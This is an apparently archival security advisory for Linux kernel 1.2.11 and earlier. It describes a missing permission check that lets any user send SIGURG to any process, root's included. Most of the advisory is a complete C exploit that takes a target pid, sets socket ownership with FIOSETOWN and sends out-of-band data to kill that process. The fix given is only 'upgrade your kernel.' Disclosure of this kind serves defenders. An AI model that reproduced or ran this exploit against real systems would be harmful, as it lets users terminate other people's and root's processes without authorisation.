COMMAND

    kernel (SIGURG)

SYSTEMS AFFECTED

    linux kernel 1.2.11 or earlier

PROBLEM

    The kernel does not do  proper checking on whom is  killing whom's
    task, thus  anyone can  kill anyones  tasks.   User can kill tasks
    not belong to them, any task, including root!  It's a problem with
    certain libraries,  but upgrading  the kernel  fixes it.   Exploit
    follows:

    ------------------------------------------------------------------
    /*
    This program, when run on  most Linux systems (tested with  1.2.9,
    but should work  with versions at  least up to  1.2.11 and 1.3.6),
    will send SIGURG to specified  process, even if you don't  own it.
    This signal (unless caught or ignored) will terminate the process.
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/ioctl.h>
    #include <sys/socket.h>
    #include <netinet/in.h>

    #define PORT 8765  /* just a random hopefully unused TCP port */

    #define ERROR_CHECK(x, msg) do { \
            if ((x) == -1) { \
                    perror(msg); \
                    exit(1); \
            } \
    } while (0)

    int main(int argc, char *argv[])
    {
            int s, s1, child_pid;
            struct sockaddr_in addr;
            int one = 1;
            char c = 0;

            if (argc != 2) {
                    fprintf(stderr, "usage: %s pid\n", argv[0]);
                    exit(1);
            }
            ERROR_CHECK( s = socket(AF_INET, SOCK_STREAM, 0), "socket" );
            ERROR_CHECK( setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one), "setsockopt" );
            memset(&addr, 0, sizeof addr);
            addr.sin_family = AF_INET;
            addr.sin_port = htons(PORT);
            addr.sin_addr.s_addr = INADDR_ANY;
            ERROR_CHECK( bind(s, (struct sockaddr *) &addr, sizeof addr), "bind" );
            ERROR_CHECK( listen(s, 1), "listen" );
            ERROR_CHECK( child_pid = fork(), "fork" );
            if (child_pid == 0) {  /* child */
                    int pid_to_kill = atoi(argv[1]);

                    ERROR_CHECK( s1 = socket(AF_INET, SOCK_STREAM, 0), "child socket" );
                    ERROR_CHECK( connect(s1, (struct sockaddr *) &addr, sizeof addr), "child connect" );
                    ERROR_CHECK( ioctl(s1, FIOSETOWN, &pid_to_kill), "child ioctl" );  /* !!! */
                    ERROR_CHECK( write(s1, &c, 1), "child write" );  /* wake up blocked parent */
                    ERROR_CHECK( read(s1, &c, 1), "child read" );
                    _exit(0);
            }
            ERROR_CHECK( s1 = accept(s, NULL, NULL), "accept" );
            ERROR_CHECK( read(s1, &c, 1), "read" );  /* block until child is ready */
            ERROR_CHECK( send(s1, &c, 1, MSG_OOB), "send" );  /* this will send SIGURG */
            return 0;
    }
    ------------------------------------------------------------------

SOLUTION

    Upgrade your kernel.